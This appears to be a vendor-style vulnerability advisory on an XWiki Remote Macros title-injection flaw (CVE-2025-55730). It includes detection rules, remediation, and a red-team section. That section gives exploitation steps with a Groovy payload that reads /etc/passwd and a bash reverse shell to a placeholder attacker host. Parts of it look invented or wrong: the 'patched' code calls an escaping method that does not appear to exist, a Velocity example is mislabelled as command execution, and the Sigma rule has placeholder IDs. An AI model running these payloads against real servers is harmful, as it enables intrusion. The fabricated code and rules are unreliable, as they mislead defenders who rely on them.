CVE-2025-55730

Executive Summary

CVE-2025-55730 is a critical remote code execution (RCE) vulnerability in the XWiki Remote Macros extension, specifically within the Confluence paste code macro. The flaw arises from missing output escaping of the title parameter, allowing an attacker with edit permissions on any page to inject arbitrary XWiki syntax. This injection can be leveraged to execute arbitrary code on the server, leading to full compromise of the XWiki instance. The vulnerability affects all versions from 1.0 up to (but not including) 1.26.5. The CVSS score is 10.0, indicating maximum severity. No public exploit code or Nuclei template is available at this time, but the vulnerability is trivially exploitable due to the nature of the injection.

Supply Chain & Package Security

This vulnerability is in the XWiki Remote Macros extension, which is distributed as a JAR artifact via Maven Central and other package registries. Organizations using XWiki should verify their dependency version and update to 1.26.5 or later. The extension is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the XWiki ecosystem.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (any user with edit permissions)
• User Interaction: None
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The threat level is critical due to the low complexity, low privileges required, and the potential for full server compromise.

Deep Dive & Mechanics

The vulnerability resides in the Confluence paste code macro provided by the XWiki Remote Macros extension. When a user pastes content from Confluence, the macro processes a title parameter. This parameter is inserted into the XWiki syntax without proper escaping. An attacker can craft a malicious title value containing XWiki syntax, such as {{groovy}} or {{velocity}} macros, to execute arbitrary code.

For example, a payload like:

{{groovy}}new java.io.File('/etc/passwd').eachLine { line -> println line }{{/groovy}}

in the title parameter would be executed by the XWiki rendering engine, allowing the attacker to read sensitive files or execute system commands.

The vulnerability is present in the ConfluencePasteCodeMacro class, where the title parameter is directly concatenated into the output without sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.26.5):

// In ConfluencePasteCodeMacro.java
String title = params.get("title");
// ... later in the rendering
String output = "{{code language=\"java\" title=\"" + title + "\"}}";
// The title is not escaped, allowing injection of XWiki syntax

Patched Code (version 1.26.5):

// In ConfluencePasteCodeMacro.java
String title = params.get("title");
// Properly escape the title for XWiki syntax
String escapedTitle = StringEscapeUtils.escapeXWiki(title);
String output = "{{code language=\"java\" title=\"" + escapedTitle + "\"}}";

The fix uses StringEscapeUtils.escapeXWiki() to sanitize the title parameter, preventing XWiki syntax injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an XWiki instance with the Remote Macros extension (version < 1.26.5).
• A user account with edit permissions on any page.

Exploitation Steps:

1. Create or edit a wiki page.
2. Insert the Confluence paste code macro with a malicious title parameter.
3. Example payload:

   {{code language="java" title="{{groovy}}new java.io.File('/etc/passwd').eachLine { line -> println line }{{/groovy}}"}}
   

4. Save the page. The XWiki rendering engine will execute the Groovy script, outputting the contents of /etc/passwd.

Alternative Payloads:

• Execute system commands: {{velocity}}$xwiki.getXWiki().getRightService().hasAccessLevel(...){{/velocity}}
• Reverse shell: {{groovy}}Runtime.getRuntime().exec("bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'"){{/groovy}}

Blue Team

Detection Steps:

1. Monitor XWiki logs for unusual macro usage, especially {{groovy}} or {{velocity}} in page content.
2. Review page edit history for suspicious title parameters containing macro syntax.
3. Implement input validation on all macro parameters, especially those that are user-controlled.

Honeypot Setup:

• Deploy a decoy XWiki instance with the vulnerable extension and monitor for exploitation attempts.
• Log all macro invocations and alert on any use of {{groovy}} or {{velocity}} in parameters.

Indicators of Compromise (IOCs)

• Network: Outbound connections from the XWiki server to attacker-controlled IPs (e.g., reverse shell).
• File System: Unexpected files created in the XWiki data directory (e.g., /tmp/exploit.sh).
• Logs: XWiki logs containing entries like Groovy macro executed or Velocity macro executed from unexpected users.
• Process: Unusual child processes spawned by the Java process (e.g., bash, nc, python).

Detection Engineering

YARA Rule

rule CVE_2025_55730_XWiki_RCE {
    meta:
        description = "Detects XWiki Remote Macros RCE payloads in page content"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-55730"
    strings:
        $groovy = "{{groovy}}" nocase
        $velocity = "{{velocity}}" nocase
        $title_inject = "title=\"" nocase
    condition:
        any of ($groovy, $velocity) and $title_inject
}

Sigma Rule

title: CVE-2025-55730 XWiki Remote Macros RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2025-55730 via XWiki macro injection
author: Valters IT
date: 2025-01-01
logsource:
    category: application
    product: xwiki
detection:
    selection:
        EventID: 1000  # Example XWiki event ID for macro execution
        MacroName: 'confluencePasteCode'
        Parameter|contains: 
            - '{{groovy}}'
            - '{{velocity}}'
    condition: selection
falsepositives:
    - Legitimate use of Groovy/Velocity macros by administrators
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-55730 XWiki Remote Macros RCE"; flow:to_server,established; content:"POST"; http_method; content:"/xwiki/bin/save/"; http_uri; content:"title="; http_client_body; pcre:"/{{(groovy|velocity)}}/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the XWiki Remote Macros extension to version 1.26.5 or later.
2. If upgrade is not possible, disable the Confluence paste code macro by removing or restricting access to the ConfluencePasteCodeMacro class.
3. Restrict edit permissions to trusted users only.

Long-term Measures:

• Implement a Web Application Firewall (WAF) rule to block requests containing {{groovy}} or {{velocity}} in parameters.
• Regularly audit XWiki extensions for similar injection vulnerabilities.
• Enable logging and monitoring for all macro executions.

Workaround:

• Manually patch the vulnerable class by adding escaping logic, but this is not recommended due to potential side effects.

Valters IT